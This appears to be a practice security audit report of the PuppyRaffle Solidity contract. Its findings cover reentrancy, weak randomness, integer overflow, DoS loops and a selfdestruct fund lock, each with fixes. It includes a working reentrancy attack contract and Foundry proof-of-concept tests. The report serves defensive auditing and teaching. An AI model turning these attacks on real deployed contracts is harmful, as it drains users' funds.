Protocol Audit Report

Version 1.0

ZenoraSec

July 24, 2024

Protocol Audit Report

ZenoraSec

July 14, 2024

Prepared by: ZenoraSec

Lead Auditor: Jeremy Zenora

Table of Contents

    * [H-4] Line `require(address(this).balance == uint256(totalFees),"PuppyRaffle: There are currently players active!");` can be easily attacked, making no withdrawals possible
    * [M-1] Function `PuppyRaffle::enterRaffle` looping through array of players to check for duplicates is potential Denial of Service attack (DoS), increasing the gas costs as more participants join
    * [M-2] If winner happens to be a smart contract with no fallback/receive function, transaction will fail and block the start of a new contest
    * [M-3] Unsafe cast in line `totalFees = totalFees + uint64(fee);`
- Low
    * [L-1] Function `PuppyRaffle::getActivePlayerIndex` returns `0` for non-existent players, misleading player at index `0` to incorrectly assume they have not entered the raffle
- Informational
    * [I-1] Solidity pragma should be specific version, not wide
    * [I-2] Currently used version `pragma solidity ^0.7.6` is very outdated, there might be unnecessary complications when using versions below solidity 0.8.0
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] "Magic" numbers used in the code are discouraged, it might be unclear what certain number values mean
    * [I-5] `PuppyRaffle::_isActivePlayer` is never used and should be removed
- Gas
    * [G-1] Unchanged state variables should be declared as constant or immutable, saving gas.
    * [G-2] Storage variables in a loop should be cached, to save gas

Protocol Summary

Protocol does X, Y, Z

Disclaimer

The ZenoraSec team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

Roles

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	1
Info	5
Gas	2
Total	15

Findings

High

[H-1] Function `PuppyRaffle::refund` is vulnerable to Reentrancy exploit, player can drain whole balance of the contract

Description: When player calls the `PuppyRaffle::refund` function to refund his money, the code first executes the transfer of the funds to the player and THEN removes player from the array. Attacker can setup malicious smart contract as the player and in the receive() function recall the refund function, and repeat this until `PuppyRaffle` is empty.

Impact: Attacker can drain all funds from the contract.

Proof of Concept:

put this function into `NFTRaffleTest.t.sol`:

1. Attacker enters the raffle as a smart contract.
2. Attacker calls `PuppyRaffle::refund` function.
3. Attacker sets up receive() function to recall the `PuppyRaffle::refund` function and drain whole balance of the contract.

Function Code

```
function testReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        ReentrancyAttack attacker = new ReentrancyAttack(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingContractBalance = address(puppyRaffle).balance;
        uint256 startingAttackContractBalance = address(attacker).
            balance;
        uint256 startingAttacker = address(attackUser).balance;

        vm.prank(attackUser);
        attacker.attack{value: entranceFee}();

        uint256 endingContractBalance = address(puppyRaffle).balance;
        uint256 endingAttackContractBalance = address(attacker).balance
            ;
        uint256 endingAttacker = address(attackUser).balance;

        console.log("startingContractBalance", startingContractBalance)
            ;
        console.log(
            "startingAttackContractBalance",
            startingAttackContractBalance
        );
        console.log("startingAttacker", startingAttacker);
        console.log("------------------------------------");
        console.log("endingContractBalance", endingContractBalance);
        console.log("endingAttackContractBalance",
           endingAttackContractBalance);
        console.log("endingAttacker", endingAttacker);
    }
```

place this contract underneath the `PuppyRaffleTest` contract in the `NFTRaffleTest.t.sol` :

Contract Code

```
contract ReentrancyAttack {
    PuppyRaffle victim;
    uint256 entranceFee;
    uint256 playerIndex;

    constructor(PuppyRaffle _victim) {
        victim = _victim;
        entranceFee = victim.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        victim.enterRaffle{value: entranceFee}(players);
        playerIndex = victim.getActivePlayerIndex(address(this));
        victim.refund(playerIndex);
    }

    receive() external payable {
        if (address(victim).balance >= entranceFee) {
            victim.refund(playerIndex);
        }
    }

}
```

Recommended Mitigation: There are 2 good options:

1. use modifier `NonReentrant` from OpenZeppelin library

2. update `players` array and THEN transfer funds

```
+       players[playerIndex] = address(0);
(bool success, ) = msg.sender.call{value: entranceFee}("");
        require(success, "PuppyRaffle: Failed to refund player");

-       players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to predict/manipulate the winner and influence or predict the rarity of the NFT

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable outcome. A predictable number is not a good random number. Malicious Users can manipulate these values themselves or know them ahead of time to choose the winner of the raffle if they happen to be it. Same randomness

Users can also frontrun this function if they know they are not going to be the winner, and call `PuppyRaffle::refund` function.

Impact: Any user can potentially influence the odds for them to win the money and select the rarest puppy NFT. Making the entire raffle worthless if its becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time what `block.timestamp` and `block.diffculty` might be, and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with `prevrandao`.
2. User can mine/manipulate their `msg.sender` value to result in their address being the winner.
3. Users can revert the `selectWinner()` if they do not like the outcome.

Using on-chain values as a randomness seed is well documented attack vector.

Recommended Mitigation: Use Chainlink's VRF to generate truly random data.

[H-3] Integer overflow of `PuppyRaffle::totalFees` causes loss of fees

Description: When working with solidity version under `0.8.0` integers are vulnerable to overflow/underflow attacks.

```
uint64 number = type(uint64).max
//18446744073709551615
number = number + 1
//number overflows, and equals to 0 now.
```

Impact: If contract accummulates too much fees (above 18446744073709551615 wei, ~18.447 ETH), variable `PuppyRaffle::totalFees` will overflow and the fees will be lost.

Proof of Concept:

1. We start a raffle of 4 players to collect some fees
2. We end the previous raffle, and start a new one with 89 players.
3. with 89 players we accummulated fees above 18.45 eth (which is maximum value uint64 can hold) we overflowed, and now have less fees than we had with 4 players at the beginning.

```
totalFees = totalFees + uint64(fee);
// AKA
totalFees = 800000000000000000 + 17800000000000000000; //equivalent
totalFees = 153255926290448384; //because it overflowed, it is less
    than the totalFees at beginning.
```

PoC

```
function testOverflowTotalFees() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();

        uint256 numPlayers = 89;
        address[] memory players = new address[](numPlayers);
        for (uint j = 0; j < players.length; j++) {
            players[j] = address(j);
        }
        puppyRaffle.enterRaffle{value: numPlayers * entranceFee}(
            players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("starting fees were: ", startingTotalFees);
        console.log("ending fees are:    ", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);
    }
```

Recommended Mitigation: Use `uint256` for the variable `totalFees`, fees will not hit such big number.

[H-4] Line `require(address(this).balance == uint256(totalFees),"PuppyRaffle: There are currently players active!");` can be easily attacked, making no withdrawals possible

Description: If attacker set ups a contract with `selfdestruct` function, they can easily add more balance to the contract, making this require check always revert the transaction.

Impact: Nobody can withdraw as protocol intended.

Proof of Concept:

1. Attacker creates a contract with some eth balance.
2. Attacker `selfdestruct`s the contract and forces the eth to the `PuppyRaffle` contract, creating imbalance.
3. Nobody can withdraw fees until the balance and totalFees are equal.

Recommended Mitigation: Remove the line altogether.

## Medium

[M-1] Function `PuppyRaffle::enterRaffle` looping through array of players to check for duplicates is potential Denial of Service attack (DoS), increasing the gas costs as more participants join

Description: Each time the function looks for duplicates, it checks every player's address in the `PuppyRaffle::players` array, making it very gas inefficient once we get larger number of players involved. First few players will have very cheap cost to enter, while the rest will have to pay unreasonable amounts.

```
//@audit-high Denial of Service - unbounded loop can get very large and
    cause transactions to get insanely expensive.
        for (uint256 i = 0; i < players.length; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Impact: The gas costs for the raffle entrants will significantly increase as more players enter. Discouraging later users from entering. An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have two groups of 100 players enter, their gas costs will vary significantly: Gas used by first 100 people: ~6251509 Gas used by second 100 people: ~18066696

The group that is later is paying 3x more gas!

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```solidity
function testEnterRaffleDOS() public {
        uint256 numOfPpl = 100;
        address[] memory playersOne = new address[](numOfPpl);
        for (uint i = 0; i < numOfPpl; i++) {
            playersOne[i] = address(i);
        }
        uint256 gasBefore = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersOne.length
            }(
            playersOne
        );
        uint256 gasAfter = gasleft();
        uint256 gasUsed = gasBefore - gasAfter;
        console.log("Gas used by first 100 people ", gasUsed);

        address[] memory playersTwo = new address[](numOfPpl);
        for (uint i = 0; i < numOfPpl; i++) {
            playersTwo[i] = address(i + numOfPpl);
        }
        gasBefore = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
            }(
            playersTwo
        );
        gasAfter = gasleft();
        gasUsed = gasBefore - gasAfter;
        console.log("Gas used by second 100 people ", gasUsed);
    }
```

Recommended Mitigation: There are a few options to resolve this:

1. Consider allowing duplicate addresses. Players can create a new wallet address and participate more than 1x anyways. It does not prevent people from participating in the raffle multiple times.
2. Consider using mapping to check for duplicates. This would allow a lookup of whether a user has already entered.

```diff
+     mapping(address => uint256) public addressToRaffleId;
+     uint256 public raffleId = 1111;

    function enterRaffle(address[] memory newPlayers) public payable {
        require(
            msg.value == entranceFee * newPlayers.length,
            "PuppyRaffle: Must send enough to enter raffle"
        );
        for (uint256 i = 0; i < newPlayers.length; i++) {
            // Check for duplicates only from the new players
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "Duplicate player!"); //checking for duplicates here
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

-       // Check for duplicates
-       for (uint256 i = 0; i < players.length; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(
-                   players[i] != players[j],
-                   "PuppyRaffle: Duplicate player"
-               );
-           }
-       }
        emit RaffleEnter(newPlayers);
    }
.
.

function selectWinner() external {
+   raffleId = raffleId + 1;
    require(block.timestamp >= raffleStartTime + raffleDuration,"PuppyRaffle: Raffle not over");
```

[M-2] If winner happens to be a smart contract with no fallback/receive function, transaction will fail and block the start of a new contest

Description: The `PuppyRaffle::selectWinner` is responsible for restarting the lottery, however if winner is smart contract address that rejects the payment, the lottery would not start. Users can call the `selectWinner` function again, but it will cost more gas.

Impact: Function `selectWinner` could revert many times, making a lottery reset difficult. It will decrease effectivness of the protocol, creating worse user experience for all players. True winners do not get paid out, someone else takes their spot.

Proof of Concept:

1. 10 smart contract addresses without a fallback/receive function enter the raffle.
2. The raffle ends.
3. `selectWinner` will not work and there is no way to restart the lottery.

Recommended Mitigation:

1. Do not allow smart contract address entrants (not recommended)
2. Create a mapping (address -> payout_amount) so winners can pull out the prize money themselves using some different external function like `claimPrize` and they have their own responsibility without disrupting the run of the protocol.

[M-3] Unsafe cast in line `totalFees = totalFees + uint64(fee);`

If fees in `uint64(fee)` exceed 18.45 ETH (which is max uint64 value) it will overflow and add zero value.

Solution: make the `totalFee` uint256 instead of uint64

```
-    totalFees = totalFees + uint64(fee);
+    totalFees = totalFees + fee;
```

Low

[L-1] Function `PuppyRaffle::getActivePlayerIndex` returns `0` for non-existent players, misleading player at index `0` to incorrectly assume they have not entered the raffle

Description: If a player is in the array `PuppyRaffle::players` at index `0` (because they entered first), the function will return `0`, but it returns `0` even when players are inactive/not in the array, causing the player to think they have not entered correctly.

```
/// @return the index of the player in the array, if they are not
    active, it returns 0
function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: The player might incorrectly assume they are not active in the raffle.

Proof of Concept:

1. User enters the raffle, they are the first one to enter, placing them at index `0`.

2. they call the `PuppyRaffle::getActivePlayerIndex` function, finding out they are at index `0` and reading that if function returns `0`, they are inactive.

Recommended Mitigation: To resolve this, you can return `int256` as `-1` if address is inactive, or revert if the player address is not active instead of returning `0`.

Informational

[I-1] Solidity pragma should be specific version, not wide

Consider using a specific solidity version, not wide. For example, instead of `pragma solidity ^0.8.20`, use `pragma solidity 0.8.20`.

[I-2] Currently used version `pragma solidity ^0.7.6` is very outdated, there might be unnecessary complications when using versions below solidity 0.8.0

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing. Check out slither for more info.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

```
        feeAddress = _feeAddress;
```

```
        feeAddress = newFeeAddress;
```

[I-4] "Magic" numbers used in the code are discouraged, it might be unclear what certain number values mean

Consider using variables instead of numbers, it is much more readable.

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
+   uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+   uint256 public constant FEE_PERCENTAGE = 20;
+   uint256 public constant POOL_PRECISION = 100;

-   uint256 prizePool = (totalAmountCollected * 80) / 100;
-   uint256 fee = (totalAmountCollected * 20) / 100;
+   uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
    / POOL_PRECISION;
+   uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
  POOL_PRECISION;
```

[I-5] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Gas

[G-1] Unchanged state variables should be declared as constant or immutable, saving gas.

Reading from storage is much more gas-expensive than reading from a constant or immutable variable.

Instances: `PuppyRaffle::raffleDuration` should be `immutable` `PuppyRaffle::commonImageUri` should be `constant` `PuppyRaffle::rareImageUri` should be `constant` `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached, to save gas

If you call `players.length` you read from storage, which is more gas-costly than reading from memory, thus consider declaring a variable `uint256 playersLength`.

```
+ uint256 playersLength = players.length

+ for (uint256 i = 0; i < playersLength; i++) {
- for (uint256 i = 0; i < players.length; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+          for (uint256 j = i + 1; j < playersLength; j++) {

                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```